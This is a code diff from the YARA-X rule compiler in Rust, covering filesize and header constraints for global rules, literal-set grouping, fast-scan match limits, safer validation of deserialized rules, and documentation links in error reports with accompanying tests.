ident_id: self.ident_pool.get_or_intern(namespace), symbols: self.symbol_table.push_new(), + global_filesize_bounds: FilesizeBounds::default(), + global_header_constraints: HeaderConstraint::default(), }; self.rules_depending_on_unsupported_modules.clear(); self.wasm_mod.new_namespace(); @@ -834,8 +827,79 @@ impl<'a> Compiler<'a> { /// This function consumes the compiler and returns an instance of /// [`Rules`]. pub fn build(self) -> Rules { + // Move `self` into an inner scope so that all compiler-only fields + // (such as `report_builder`, `symbol_table`, `global_symbols`, `ir`, + // `wasm_exports`, `rule_constraints`, `root_struct`, `patterns`, etc.) + // are dropped when `this` goes out of scope at the end of this block, + // before emitting and compiling the WASM module. This helps reduce + // peak memory usage during builds. + let (mut rules, wasm_mod) = { + let this = self; + + // The structure that contains the global variables is serialized before + // being passed to the `Rules` struct. This is because we want `Rules` + // to be `Send`, so that it can be shared with scanners running in + // different threads. In order for `Rules` to be `Send`, it can't + // contain fields that are not `Send`. As `Struct` is not `Send` we + // can't have a `Struct` field in `Rules`, so what we have a `Vec` + // with a serialized version of the struct. + // + // An alternative is changing the `Rc` in some variants of `TypeValue` + // to `Arc`, as the root cause that prevents `Struct` from being `Send` + // is the use of `Rc` in `TypeValue`. + let serialized_globals = bincode::serde::encode_to_vec( + this.root_struct, + bincode::config::standard().with_variable_int_encoding(), + ) + .expect("failed to serialize global variables"); + + let mut filesize_bounds = FxHashMap::default(); + let mut header_constraints = FxHashMap::default(); + + for (pattern, pattern_id) in this.patterns { + if !pattern.filesize_bounds().unbounded() { + filesize_bounds + .insert(pattern_id, pattern.filesize_bounds().clone()); + } + if !pattern.header_constraints().unconstrained() { + header_constraints.insert( + pattern_id, + pattern.header_constraints().clone(), + ); + } + } + + ( + Rules { + serialized_globals, + wasm_mod: Vec::new(), + compiled_wasm_mod: None, + relaxed_re_syntax: this.relaxed_re_syntax, + ac: AhoCorasick::default(), + num_patterns: this.next_pattern_id.0 as usize, + ident_pool: this.ident_pool, + regex_pool: this.regex_pool, + literal_pool: this.literal_pool, + imported_modules: this.imported_modules, + rules: this.rules, + sub_patterns: this.sub_patterns, + anchored_sub_patterns: this.anchored_sub_patterns, + atoms: this.atoms, + re_code: this.re_code, + warnings: this.warnings.into(), + filesize_bounds, + header_constraints, + regex_sets: this.regex_sets, + literal_sets: this.literal_sets, + fast_scan_max_matches: this.fast_scan_max_matches, + rules_profiling_enabled: cfg!(feature = "rules-profiling"), + }, + this.wasm_mod, + ) + }; + // Finish building the WASM module. - let wasm_mod = self.wasm_mod.build().emit_wasm(); + rules.wasm_mod = wasm_mod.build().emit_wasm(); #[cfg(feature = "logging")] let start = Instant::now(); @@ -844,56 +908,17 @@ impl<'a> Compiler<'a> { // if the WASM code is invalid, which should not happen as the code is // emitted by YARA itself. If this ever happens is probably because // wrong WASM code is being emitted. - let compiled_wasm_mod = wasm::runtime::Module::from_binary( - wasm::get_engine(), - wasm_mod.as_slice(), - ) - .expect("WASM module is not valid"); + rules.compiled_wasm_mod = Some( + wasm::runtime::Module::from_binary( + wasm::get_engine(), + rules.wasm_mod.as_slice(), + ) + .expect("WASM module is not valid"), + ); #[cfg(feature = "logging")] info!("WASM module build time: {:?}", Instant::elapsed(&start)); - // The structure that contains the global variables is serialized before - // being passed to the `Rules` struct. This is because we want `Rules` - // to be `Send`, so that it can be shared with scanners running in - // different threads. In order for `Rules` to be `Send`, it can't - // contain fields that are not `Send`. As `Struct` is not `Send` we - // can't have a `Struct` field in `Rules`, so what we have a `Vec` - // with a serialized version of the struct. - // - // An alternative is changing the `Rc` in some variants of `TypeValue` - // to `Arc`, as the root cause that prevents `Struct` from being `Send` - // is the use of `Rc` in `TypeValue`. - let serialized_globals = bincode::serde::encode_to_vec( - &self.root_struct, - bincode::config::standard().with_variable_int_encoding(), - ) - .expect("failed to serialize global variables"); - - let mut rules = Rules { - serialized_globals, - wasm_mod, - compiled_wasm_mod: Some(compiled_wasm_mod), - relaxed_re_syntax: self.relaxed_re_syntax, - ac: AhoCorasick::default(), - num_patterns: self.next_pattern_id.0 as usize, - ident_pool: self.ident_pool, - regex_pool: self.regex_pool, - lit_pool: self.lit_pool, - imported_modules: self.imported_modules, - rules: self.rules, - sub_patterns: self.sub_patterns, - anchored_sub_patterns: self.anchored_sub_patterns, - atoms: self.atoms, - re_code: self.re_code, - warnings: self.warnings.into(), - filesize_bounds: self.filesize_bounds, - header_constraints: self.header_constraints, - regex_sets: self.regex_sets, - fast_scan_patterns: self.fast_scan_patterns, - rules_profiling_enabled: cfg!(feature = "rules-profiling"), - }; - rules.build_ac_automaton(); rules } @@ -967,7 +992,7 @@ impl<'a> Compiler<'a> { self } - /// Tell the compiler that a YARA module is not supported. + /// Tell the compiler that a YARA module should be ignored. /// /// Import statements for ignored modules will be ignored without errors, /// but a warning will be issued. Any rule that makes use of an ignored @@ -1263,7 +1288,7 @@ impl Compiler<'_> { } else { literal }; - self.lit_pool.get_or_intern(literal_bytes) + self.literal_pool.get_or_intern(literal_bytes) } /// Takes a snapshot of the compiler's state at this moment. @@ -1282,8 +1307,18 @@ impl Compiler<'_> { atoms_len: self.atoms.len(), re_code_len: self.re_code.len(), sub_patterns_len: self.sub_patterns.len(), + anchored_sub_patterns_len: self.anchored_sub_patterns.len(), symbol_table_len: self.symbol_table.len(), - fast_scan_patterns_len: self.fast_scan_patterns.len(), + fast_scan_max_matches_len: self.fast_scan_max_matches.len(), + rule_constraints_len: self.rule_constraints.len(), + global_filesize_bounds: self + .current_namespace + .global_filesize_bounds + .clone(), + global_header_constraints: self + .current_namespace + .global_header_constraints + .clone(), } } @@ -1295,22 +1330,23 @@ impl Compiler<'_> { self.next_pattern_id = snapshot.next_pattern_id; self.rules.truncate(snapshot.rules_len); self.sub_patterns.truncate(snapshot.sub_patterns_len); + self.anchored_sub_patterns + .truncate(snapshot.anchored_sub_patterns_len); self.re_code.truncate(snapshot.re_code_len); self.atoms.truncate(snapshot.atoms_len); self.symbol_table.truncate(snapshot.symbol_table_len); - self.fast_scan_patterns.truncate(snapshot.fast_scan_patterns_len); - - // Pattern IDs that are >= next_pattern_id, are being discarded. Any pattern - // or file size bound associated to such IDs must be removed. - + self.fast_scan_max_matches + .truncate(snapshot.fast_scan_max_matches_len); + self.rule_constraints.truncate(snapshot.rule_constraints_len); + self.current_namespace.global_filesize_bounds = + snapshot.global_filesize_bounds; + self.current_namespace.global_header_constraints = + snapshot.global_header_constraints; + + // Pattern IDs that are >= next_pattern_id are being discarded. Any pattern + // associated to such IDs must be removed. self.patterns .retain(|_, pattern_id| *pattern_id < snapshot.next_pattern_id); - - self.filesize_bounds - .retain(|pattern_id, _| *pattern_id < snapshot.next_pattern_id); - - self.header_constraints - .retain(|pattern_id, _| *pattern_id < snapshot.next_pattern_id); } /// Returns true if the slice contains a single byte, or if the bytes in @@ -1605,10 +1641,10 @@ impl Compiler<'_> { ast::MetaValue::Float((f, _)) => MetaValue::Float(*f), ast::MetaValue::Bool((b, _)) => MetaValue::Bool(*b), ast::MetaValue::String((s, _)) => { - MetaValue::String(self.lit_pool.get_or_intern(s)) + MetaValue::String(self.literal_pool.get_or_intern(s)) } ast::MetaValue::Bytes((s, _)) => { - MetaValue::Bytes(self.lit_pool.get_or_intern(s)) + MetaValue::Bytes(self.literal_pool.get_or_intern(s)) } }; @@ -1643,6 +1679,8 @@ impl Compiler<'_> { loop_iteration_multiplier: 1, regex_sets: &mut self.regex_sets, regex_pool: &mut self.regex_pool, + literal_sets: &mut self.literal_sets, + literal_pool: &mut self.literal_pool, }; // Convert the patterns from AST to IR. This populates the @@ -1803,27 +1841,58 @@ impl Compiler<'_> { // Analyze the condition and determine the bounds it imposes to // `filesize`, if any. - let filesize_bounds = self.ir.filesize_bounds(); + let mut filesize_bounds = self.ir.filesize_bounds(|rule_id| { + self.rule_constraints.get(rule_id.0 as usize).map(|(b, _)| b) + }); // Analyze the condition and determine if it imposes some constraint // to the file header (ex: `uint16(0) == 0x5a4d`). - let header_constraints = self.ir.header_constraints(|pat_idx| { - rule_patterns[pat_idx.as_usize()].pattern() - }); + let mut header_constraints = self.ir.header_constraints( + |pat_idx| rule_patterns[pat_idx.as_usize()].pattern(), + |rule_id| { + self.rule_constraints.get(rule_id.0 as usize).map(|(_, c)| c) + }, + ); - // Set the bounds to all patterns in the rule. This must be done + let is_global = rule.flags.contains(RuleFlags::Global); + + if is_global { + self.current_namespace + .global_filesize_bounds + .merge(&filesize_bounds); + self.current_namespace + .global_header_constraints + .merge(&header_constraints); + filesize_bounds = + self.current_namespace.global_filesize_bounds.clone(); + header_constraints = + self.current_namespace.global_header_constraints.clone(); + } else { + filesize_bounds + .merge(&self.current_namespace.global_filesize_bounds); + header_constraints + .merge(&self.current_namespace.global_header_constraints); + } + + // Set the bounds to all regex patterns in the rule. This must be done // before assigning the PatternId to each pattern, as the filesize // bounds are taken into account when determining if the pattern // is unique or re-used from a previous rule. if !filesize_bounds.unbounded() { - for pattern in &mut rule_patterns { + for pattern in &mut rule_patterns + .iter_mut() + .filter(|p| p.pattern().is_regex()) + { pattern.pattern_mut().set_filesize_bounds(&filesize_bounds); } } - // Set header constraints to all patterns in the rule. + // Set header constraints to all regex patterns in the rule. if !header_constraints.unconstrained() { - for pattern in &mut rule_patterns { + for pattern in &mut rule_patterns + .iter_mut() + .filter(|p| p.pattern().is_regex()) + { pattern .pattern_mut() .set_header_constraints(&header_constraints); @@ -1838,13 +1907,15 @@ impl Compiler<'_> { } } + self.rule_constraints.push((filesize_bounds, header_constraints)); + let mut pattern_ids = Vec::with_capacity(rule_patterns.len()); let mut patterns = Vec::with_capacity(rule_patterns.len()); let mut pending_patterns = HashSet::new(); let mut num_private_patterns = 0; for pattern in &rule_patterns { - // Raise error is some pattern was not used, except if the pattern + // Raise error if some pattern was not used, except if the pattern // identifier starts with underscore. if !pattern.in_use() && !pattern.identifier().starts_with("$_") { self.restore_snapshot(snapshot); @@ -1855,7 +1926,9 @@ impl Compiler<'_> { .span_to_code_loc(pattern.identifier().span()), )); } + } + for pattern in &rule_patterns { if pattern.pattern().flags().contains(PatternFlags::Private) { num_private_patterns += 1; } @@ -1867,23 +1940,21 @@ impl Compiler<'_> { // Aho-Corasick automaton) the pattern again. Two patterns are // considered equal if they are exactly the same, including any // modifiers associated to the pattern, both are non-anchored - // or anchored at the same file offset, and if they have the same - // file size bounds. + // or anchored at the same file offset, if they have the same + // file size bounds, and if they have the same limit of matches + // in fast-scan mode. if let Some(pattern_id) = self.patterns.get(pattern.pattern()) { *pattern_id } else { let pattern_id = self.next_pattern_id; self.next_pattern_id.incr(1); - self.fast_scan_patterns.push(true); + self.fast_scan_max_matches + .push(pattern.max_matches_in_fast_scan()); pending_patterns.insert(pattern_id); self.patterns.insert(pattern.pattern().clone(), pattern_id); pattern_id }; - if !pattern.fast_scan_allowed() { - self.fast_scan_patterns.set(usize::from(pattern_id), false); - } - let kind = match pattern.pattern() { Pattern::Text(_) => PatternKind::Text, Pattern::Regexp(_) => PatternKind::Regexp, @@ -1948,52 +2019,10 @@ impl Compiler<'_> { } } }; - if !filesize_bounds.unbounded() - && self - .filesize_bounds - .insert(*pattern_id, filesize_bounds.clone()) - .is_some() - { - // This should not happen. - panic!( - "modifying the file size bounds of an existing pattern" - ) - } - if !header_constraints.unconstrained() - && self - .header_constraints - .insert(*pattern_id, header_constraints.clone()) - .is_some() - { - // This should not happen. - panic!( - "modifying the header constraints of an existing pattern" - ) - } pending_patterns.remove(pattern_id); } } - // Create a new symbol of bool type for the rule. - let new_symbol = Symbol::Rule { - rule_id, - is_global: rule.flags.contains(RuleFlags::Global), - }; - - // Insert the symbol in the symbol table corresponding to the - // current namespace. This must be done after every fallible function - // has been called; once the symbol is inserted in the symbol table, - // it can't be undone. - let existing_symbol = self - .current_namespace - .symbols - .as_ref() - .borrow_mut() - .insert(rule.identifier.name, new_symbol); - - // No other symbol with the same identifier should exist. - assert!(existing_symbol.is_none()); - // The last step is emitting the WASM code corresponding to the rule's // condition. This is done after every fallible function has been called // because once the code is emitted it cannot be undone, which means @@ -2001,36 +2030,73 @@ impl Compiler<'_> { // will remain in the WASM module. let mut ctx = EmitContext { current_rule: self.rules.last_mut().unwrap(), - lit_pool: &mut self.lit_pool, + lit_pool: &mut self.literal_pool, regex_pool: &mut self.regex_pool, wasm_symbols: &self.wasm_symbols, wasm_exports: &self.wasm_exports, exception_handler_stack: Vec::new(), + vars_with_undef: Vec::new(), lookup_list: Vec::new(), emit_search_for_pattern_stack: Vec::new(), }; - emit_rule_condition( + if emit_rule_condition( &mut ctx, &self.ir, rule_id, condition, &mut self.wasm_mod, - ); + ) + .is_err() + { + self.restore_snapshot(snapshot); + return Err(ConditionTooLarge::build( + &self.report_builder, + self.report_builder.span_to_code_loc(rule.identifier.span()), + )); + } + + // Create a new symbol of bool type for the rule. + let new_symbol = Symbol::Rule { + rule_id, + is_global: rule.flags.contains(RuleFlags::Global), + }; + + // Insert the symbol in the symbol table corresponding to the + // current namespace. This must be done after every fallible function + // has been called; once the symbol is inserted in the symbol table, + // it can't be undone. + let existing_symbol = self + .current_namespace + .symbols + .as_ref() + .borrow_mut() + .insert(rule.identifier.name, new_symbol); + + // No other symbol with the same identifier should exist. + assert!(existing_symbol.is_none()); Ok(()) } fn c_import(&mut self, import: &Import) -> Result<(), CompileError> { let module_name = import.module_name; - let module = crate::modules::module_by_name(module_name); + let ignored = self.ignored_modules.iter().any(|m| m == module_name); + + // A module in the list of ignored modules is treated as if it didn't + // exist, even if YARA-X implements it. + let module = if ignored { + None + } else { + crate::modules::module_by_name(module_name) + }; // Does a module with the given name actually exist? ... if module.is_none() { // The module does not exist, but it is included in the list // of unsupported modules. In such cases we don't raise an error, // only a warning. - return if self.ignored_modules.iter().any(|m| m == module_name) { + return if ignored { self.warnings.add(|| { warnings::IgnoredModule::build( &self.report_builder, @@ -2147,7 +2213,7 @@ impl Compiler<'_> { } for (main_pattern, best_atom, flags) in main_patterns { - let pattern_lit_id = self.lit_pool.get_or_intern(main_pattern); + let pattern_lit_id = self.literal_pool.get_or_intern(main_pattern); if pattern.flags.contains(PatternFlags::Xor) { // When `xor` is used, `base64`, `base64wide` and `nocase` are @@ -2209,7 +2275,7 @@ impl Compiler<'_> { SubPattern::CustomBase64 { pattern: pattern_lit_id, alphabet: self - .lit_pool + .literal_pool .get_or_intern(alphabet), padding, } @@ -2248,7 +2314,7 @@ impl Compiler<'_> { SubPattern::CustomBase64Wide { pattern: pattern_lit_id, alphabet: self - .lit_pool + .literal_pool .get_or_intern(alphabet), padding, } @@ -2430,7 +2496,7 @@ impl Compiler<'_> { self.intern_literal(literal.0.as_bytes(), wide); let best_atom = best_atom_in_bytes( - self.lit_pool.get_bytes(pattern_lit_id).unwrap(), + self.literal_pool.get_bytes(pattern_lit_id).unwrap(), ); let flags = @@ -2761,7 +2827,7 @@ impl Compiler<'_> { pattern_id, SubPattern::LiteralChainHead { pattern: pattern_lit_id, flags }, extract_atoms( - self.lit_pool.get_bytes(pattern_lit_id).unwrap(), + self.literal_pool.get_bytes(pattern_lit_id).unwrap(), flags, ), SubPatternAtom::from_atom, @@ -2789,7 +2855,7 @@ impl Compiler<'_> { flags, }, extract_atoms( - self.lit_pool.get_bytes(pattern_lit_id).unwrap(), + self.literal_pool.get_bytes(pattern_lit_id).unwrap(), flags, ), SubPatternAtom::from_atom, @@ -2994,6 +3060,36 @@ impl From for i32 { } } +/// ID associated to each grouped `LiteralSet`. +/// +/// When compiling rules, identical string expressions are frequently compared +/// against multiple distinct string literals within an `or` condition. The +/// compiler groups these literals into a `LiteralSetId` so the target string +/// expression is evaluated once and compared against the set. +#[derive(Copy, Clone, Debug, Eq, PartialEq, Hash, Serialize, Deserialize)] +pub(crate) struct LiteralSetId(i32); + +impl From for LiteralSetId { + #[inline] + fn from(value: i32) -> Self { + Self(value) + } +} + +impl From for usize { + #[inline] + fn from(value: LiteralSetId) -> Self { + value.0 as usize + } +} + +impl From for i32 { + #[inline] + fn from(value: LiteralSetId) -> Self { + value.0 + } +} + /// ID associated to each pattern. /// /// For each unique pattern defined in a set of YARA rules there's a PatternId @@ -3212,8 +3308,12 @@ struct Snapshot { atoms_len: usize, re_code_len: usize, sub_patterns_len: usize, + anchored_sub_patterns_len: usize, symbol_table_len: usize, - fast_scan_patterns_len: usize, + fast_scan_max_matches_len: usize, + rule_constraints_len: usize, + global_filesize_bounds: FilesizeBounds, + global_header_constraints: HeaderConstraint, } /// Represents a list of warnings. diff --git a/lib/src/compiler/report.rs b/lib/src/compiler/report.rs index fccd5b3bf..6216e5401 100644 --- a/lib/src/compiler/report.rs +++ b/lib/src/compiler/report.rs @@ -200,6 +200,20 @@ impl Report { .push((code_loc, replacement.into())); self } + + pub(crate) fn code_url(&self) -> Option { + match self.level { + Level::ERROR if self.code != "E100" => Some(format!( + "https://virustotal.github.io/yara-x/docs/errors/#{}", + self.code + )), + Level::WARNING => Some(format!( + "https://virustotal.github.io/yara-x/docs/warnings/#{}", + self.code + )), + _ => None, + } + } } impl Serialize for Report { @@ -255,9 +269,19 @@ impl Display for Report { fn fmt(&self, f: &mut Formatter<'_>) -> std::fmt::Result { let code_cache = self.code_cache.read(); - let mut group = Group::with_title( - self.level.clone().primary_title(&self.title).id(self.code), - ); + let mut title = + self.level.clone().primary_title(&self.title).id(self.code); + + // `annotate_snippets` renders `id_url` using ANSI OSC 8 escape + // sequences even when `Renderer::plain()` is used, so only set it + // when `with_colors` is enabled. + if self.with_colors + && let Some(url) = self.code_url() + { + title = title.id_url(url); + } + + let mut group = Group::with_title(title); let mut source_ids = Vec::new(); for (_, label_ref, _) in &self.labels { @@ -758,4 +782,99 @@ mod tests { assert_eq!(helper(text, 10), Some((1, 9))); // Position of '好' assert_eq!(helper(text, 13), Some((1, 10))); // Position of '!' } + + #[test] + fn report_code_url() { + use crate::SourceCode; + use crate::compiler::report::{Level, ReportBuilder}; + use yara_x_parser::Span; + + let mut builder = ReportBuilder::new(); + builder.register_source(&SourceCode::from( + "rule test { condition: true }", + )); + let loc = builder.span_to_code_loc(Span(0..4)); + + // Without colors, OSC 8 URL sequences must not be emitted. + let report_plain = builder.create_report( + Level::ERROR, + "E001", + "syntax error".to_string(), + vec![(Level::ERROR, loc.clone(), "error here".to_string())], + vec![], + ); + assert!(!report_plain.to_string().contains("\x1B]8;;")); + + // With colors enabled, error and warning codes include documentation URLs. + builder.with_colors(true); + + let error_report = builder.create_report( + Level::ERROR, + "E001", + "syntax error".to_string(), + vec![(Level::ERROR, loc.clone(), "error here".to_string())], + vec![], + ); + assert!(error_report.to_string().contains( + "\x1B]8;;https://virustotal.github.io/yara-x/docs/errors/#E001\x1B\\" + )); + + let warning_report = builder.create_report( + Level::WARNING, + "slow_pattern", + "slow pattern".to_string(), + vec![(Level::WARNING, loc.clone(), "warning here".to_string())], + vec![], + ); + assert!(warning_report.to_string().contains( + "\x1B]8;;https://virustotal.github.io/yara-x/docs/warnings/#slow_pattern\x1B\\" + )); + + // Custom error E100 should not include a documentation URL. + let custom_error = builder.create_report( + Level::ERROR, + "E100", + "custom error".to_string(), + vec![(Level::ERROR, loc, "custom error here".to_string())], + vec![], + ); + assert!(!custom_error.to_string().contains("\x1B]8;;")); + } + + #[test] + fn all_codes_are_documented() { + use crate::errors::CompileError; + use crate::warnings::Warning; + use std::fs; + use std::path::Path; + + let errors_md = + Path::new("../site/content/docs/errors_and_warnings/errors.md"); + if errors_md.exists() { + let content = fs::read_to_string(errors_md).unwrap(); + for code in CompileError::all_codes() { + if code == "E100" { + continue; + } + let heading = format!("## {code} {{#{code}}}"); + assert!( + content.contains(&heading), + "error code `{code}` is missing `{heading}` in {errors_md:?}" + ); + } + } + + let warnings_md = + Path::new("../site/content/docs/errors_and_warnings/warnings.md"); + if warnings_md.exists() { + let content = fs::read_to_string(warnings_md).unwrap(); + for code in Warning::all_codes() { + let heading = format!("## {code} {{#{code}}}"); + assert!( + content.contains(&heading), + "warning code `{code}` is missing `{heading}` in {warnings_md:?}" + ); + } + } + } } diff --git a/lib/src/compiler/rules.rs b/lib/src/compiler/rules.rs index 548226cb0..964e2cd0a 100644 --- a/lib/src/compiler/rules.rs +++ b/lib/src/compiler/rules.rs @@ -1,6 +1,7 @@ use std::collections::hash_map; use std::fmt; use std::io::{BufWriter, Read, Write}; +use std::num::NonZeroU32; use std::ops::{Bound, RangeBounds}; use std::slice::Iter; #[cfg(feature = "logging")] @@ -19,8 +20,8 @@ use crate::compiler::errors::SerializationError; use crate::compiler::report::CodeLoc; use crate::compiler::warnings::Warning; use crate::compiler::{ - IdentId, Imports, LiteralId, NamespaceId, PatternId, RegexId, RegexSetId, - RuleId, SubPattern, SubPatternId, + IdentId, Imports, LiteralId, LiteralSetId, NamespaceId, PatternId, + RegexId, RegexSetId, RuleId, SubPattern, SubPatternId, }; use crate::models::PatternKind; use crate::re::{BckCodeLoc, FwdCodeLoc, RegexpAtom}; @@ -34,7 +35,7 @@ const MAGIC: &[u8] = b"YARA-X\0\0"; /// /// This version is incremented every time a change is made to the binary /// format in a way that breaks backwards compatibility. -const SERIALIZATION_VERSION: u32 = 6; +const SERIALIZATION_VERSION: u32 = 13; /// Aho-Corasick automaton bundled with an optional Teddy scanner if the /// number of patterns is low enough. If the Teddy scanner is present, and @@ -138,7 +139,7 @@ pub struct Rules { /// Pool with literal strings used in the rules. Each literal has its /// own [`LiteralId`], which can be used for retrieving the literal /// string as `&BStr`. - pub(in crate::compiler) lit_pool: BStringPool, + pub(in crate::compiler) literal_pool: BStringPool, /// WASM module as in raw form. pub(in crate::compiler) wasm_mod: Vec, @@ -211,7 +212,7 @@ pub struct Rules { /// A vector that contains all the atoms extracted from the patterns. Each /// atom has an associated [`SubPatternId`] that indicates the sub-pattern /// it belongs to. - pub(in crate::compiler) atoms: Vec, + pub(crate) atoms: Vec, /// A vector that contains the code for all regexp patterns (this includes /// hex patterns which are just a special case of regexp). The code for @@ -245,16 +246,17 @@ pub struct Rules { /// set automata for single-pass evaluation. pub(in crate::compiler) regex_sets: FxHashMap>, - /// BitVec where the N-th bit indicates whether the pattern with - /// PatternId = N is a fast-scan pattern. + /// Grouped `LiteralSet` persistent definitions. /// - /// A pattern can be fast-scanned if its occurrences are only evaluated - /// as simple boolean checks (e.g. `$a`), meaning the scanner can stop - /// tracking matches for it once the first match has been found. If a - /// pattern is used in a context that requires tracking all matches (such - /// as count `#a`, offset `@a`, length `!a`, anchored checks, or loop - /// equivalents), it cannot be fast-scanned. - pub(in crate::compiler) fast_scan_patterns: bitvec::vec::BitVec, + /// Populated during `Compiler::build`, each entry maps a unique + /// `LiteralSetId` to an ordered list of `LiteralId`s. + pub(in crate::compiler) literal_sets: + FxHashMap>, + + /// Vector where the N-th element indicates the maximum number of matches + /// required in fast-scan mode for the pattern with PatternId = N, or + /// `None` if all matches must be tracked. + pub(in crate::compiler) fast_scan_max_matches: Vec>, /// Indicates whether the rules were compiled with rules profiling enabled. /// @@ -323,6 +325,8 @@ impl Rules { }); } + crate::init_logger(); + #[cfg(feature = "logging")] let start = Instant::now(); @@ -376,18 +380,38 @@ impl Rules { rules.ac.rebuild_teddy(rules.atoms.iter().map(|x| x.atom.as_ref())); - // Make sure that the maximum SubPatternId is within the boundaries - // of sub_patterns array. This check is important because during - // the scanning phase we use SubPatternId as indexes in the array - // without boundary checks for better performance. - let max_sub_pattern_id = rules - .atoms + // Validate that all SubPatternId, PatternId, FwdCodeLoc, and BckCodeLoc + // values are within the boundaries of their respective arrays. This is + // important because during the scanning phase some of these IDs and + // offsets are used for indexing arrays without boundary checks for + // better performance. + let num_sub_patterns = rules.sub_patterns.len(); + let re_code_len = rules.re_code.len(); + + let valid_atoms = rules.atoms.iter().all(|atom| { + (atom.sub_pattern_id.0 as usize) < num_sub_patterns + && atom.fwd_code.is_none_or(|loc| { + re::CodeLoc::location(&loc) < re_code_len + }) + && atom.bck_code.is_none_or(|loc| { + re::CodeLoc::location(&loc) < re_code_len + }) + }); + + let valid_anchored = rules + .anchored_sub_patterns .iter() - .map(|atom| atom.sub_pattern_id) - .max() - .unwrap_or(SubPatternId(0)); + .all(|id| (id.0 as usize) < num_sub_patterns); + + let valid_sub_patterns = + rules.sub_patterns.iter().all(|(pattern_id, sub_pattern)| { + usize::from(*pattern_id) < rules.num_patterns + && sub_pattern + .chained_to() + .is_none_or(|id| (id.0 as usize) < num_sub_patterns) + }); - if rules.sub_patterns.len() < max_sub_pattern_id.0 as usize { + if !valid_atoms || !valid_anchored || !valid_sub_patterns { return Err(SerializationError::InvalidFormat); } @@ -477,34 +501,43 @@ impl Rules { let hir = parser.parse(&re).unwrap(); - hir.build_automata().unwrap_or_else(|err| { + re::hir::Hir::build_automata(&[hir]).unwrap_or_else(|err| { panic!("error compiling regex `{}`: {:#?}", re.as_str(), err) }) } - /// Returns a compiled multi-pattern `RegexSet` for a given `RegexSetId`. + /// Returns a compiled multi-pattern `Regex` for a given `RegexSetId`. #[inline] - pub(crate) fn get_regex_set( - &self, - set_id: RegexSetId, - ) -> regex::bytes::RegexSet { - let re_ids = self.regex_sets.get(&set_id).unwrap(); - let mut patterns = Vec::with_capacity(re_ids.len()); + pub(crate) fn get_regex_set(&self, set_id: RegexSetId) -> Option { + let re_ids = self.regex_sets.get(&set_id)?; + let parser = re::parser::Parser::new() + .relaxed_re_syntax(self.relaxed_re_syntax); + let mut hirs = Vec::with_capacity(re_ids.len()); for &re_id in re_ids { - let re = types::Regexp::new(self.regex_pool.get(re_id).unwrap()); - let parser = re::parser::Parser::new() - .relaxed_re_syntax(self.relaxed_re_syntax); - let hir = parser.parse(&re).unwrap().into_inner(); - patterns.push(hir.to_string()); + let re = types::Regexp::new(self.regex_pool.get(re_id)?); + hirs.push(parser.parse(&re).ok()?); } - regex::bytes::RegexSetBuilder::new(patterns) - .size_limit(1024 * 1024 * 1024) - .build() - .unwrap_or_else(|err| { - panic!("error compiling RegexSet: {:#?}", err) - }) + re::hir::Hir::build_automata(&hirs).ok() + } + + /// Returns the slice of [`RegexId`]s belonging to a given [`RegexSetId`]. + #[inline] + pub(crate) fn get_regex_set_ids( + &self, + set_id: RegexSetId, + ) -> Option<&[RegexId]> { + self.regex_sets.get(&set_id).map(Vec::as_slice) + } + + /// Returns the slice of [`LiteralId`]s belonging to a given [`LiteralSetId`]. + #[inline] + pub(crate) fn get_literal_set( + &self, + set_id: LiteralSetId, + ) -> &[LiteralId] { + self.literal_sets.get(&set_id).unwrap() } /// Returns a sub-pattern by [`SubPatternId`]. @@ -513,6 +546,7 @@ impl Rules { &self, sub_pattern_id: SubPatternId, ) -> &(PatternId, SubPattern) { + debug_assert!((sub_pattern_id.0 as usize) < self.sub_patterns.len()); unsafe { self.sub_patterns.get_unchecked(sub_pattern_id.0 as usize) } } @@ -526,13 +560,21 @@ impl Rules { pub(crate) fn get_rule_and_pattern_by_sub_pattern_id( &self, sub_pattern_id: SubPatternId, - ) -> Option<(RuleId, IdentId)> { - let (target_pattern_id, _) = self.get_sub_pattern(sub_pattern_id); - for (rule_id, rule) in self.rules.iter().enumerate() { + ) -> Option<(&RuleInfo, &PatternInfo)> { + let (pattern_id, _) = self.get_sub_pattern(sub_pattern_id); + self.get_rule_and_pattern_by_pattern_id(*pattern_id) + } + + #[cfg(feature = "logging")] + pub(crate) fn get_rule_and_pattern_by_pattern_id( + &self, + pattern_id: PatternId, + ) -> Option<(&RuleInfo, &PatternInfo)> { + for rule in &self.rules { for p in &rule.patterns { - if p.pattern_id == *target_pattern_id { - return Some((rule_id.into(), p.ident_id)); - }; + if p.pattern_id == pattern_id { + return Some((rule, p)); + } } } None @@ -591,15 +633,13 @@ impl Rules { } if x.atom.len() < 2 { - let (rule_id, pattern_ident_id) = self + let (rule, pattern) = self .get_rule_and_pattern_by_sub_pattern_id(x.sub_pattern_id) .unwrap(); - let rule = self.get(rule_id); - - info!( + warn!( "Very short atom in pattern `{}` in rule `{}:{}` (length: {})", - self.ident_pool.get(pattern_ident_id).unwrap(), + self.ident_pool.get(pattern.ident_id).unwrap(), self.ident_pool.get(rule.namespace_ident_id).unwrap(), self.ident_pool.get(rule.ident_id).unwrap(), x.atom.len() @@ -633,8 +673,8 @@ impl Rules { } #[inline] - pub(crate) fn lit_pool(&self) -> &BStringPool { - &self.lit_pool + pub(crate) fn literal_pool(&self) -> &BStringPool { + &self.literal_pool } #[inline] @@ -673,8 +713,11 @@ impl Rules { } #[inline] - pub(crate) fn is_fast_scan(&self, pattern_id: PatternId) -> bool { - *self.fast_scan_patterns.get(usize::from(pattern_id)).unwrap() + pub(crate) fn fast_scan_max_matches( + &self, + pattern_id: PatternId, + ) -> Option { + self.fast_scan_max_matches[usize::from(pattern_id)] } } @@ -944,6 +987,13 @@ impl FilesizeBounds { } self } + + /// Merges another set of filesize bounds into this one (intersection). + pub fn merge(&mut self, other: &Self) -> &mut Self { + self.max_start(other.start); + self.min_end(other.end); + self + } } /// Describes the requirements on the file header imposed by a rule condition. @@ -972,6 +1022,28 @@ impl HeaderConstraint { Self::Constrained(bytes) => data.starts_with(bytes), } } + + /// Merges another header constraint into this one (intersection). + pub fn merge(&mut self, other: &Self) { + match (&self, other) { + (Self::Unsatisfiable, _) => {} + (_, Self::Unsatisfiable) => { + *self = Self::Unsatisfiable; + } + (Self::Unconstrained, _) => { + *self = other.clone(); + } + (_, Self::Unconstrained) => {} + (Self::Constrained(a), Self::Constrained(b)) => { + let min_len = a.len().min(b.len()); + if a[..min_len] != b[..min_len] { + *self = Self::Unsatisfiable; + } else if b.len() > a.len() { + *self = other.clone(); + } + } + } + } } /// Represents an atom extracted from a pattern and added to the Aho-Corasick @@ -1047,3 +1119,193 @@ impl SubPatternAtom { self.bck_code } } + 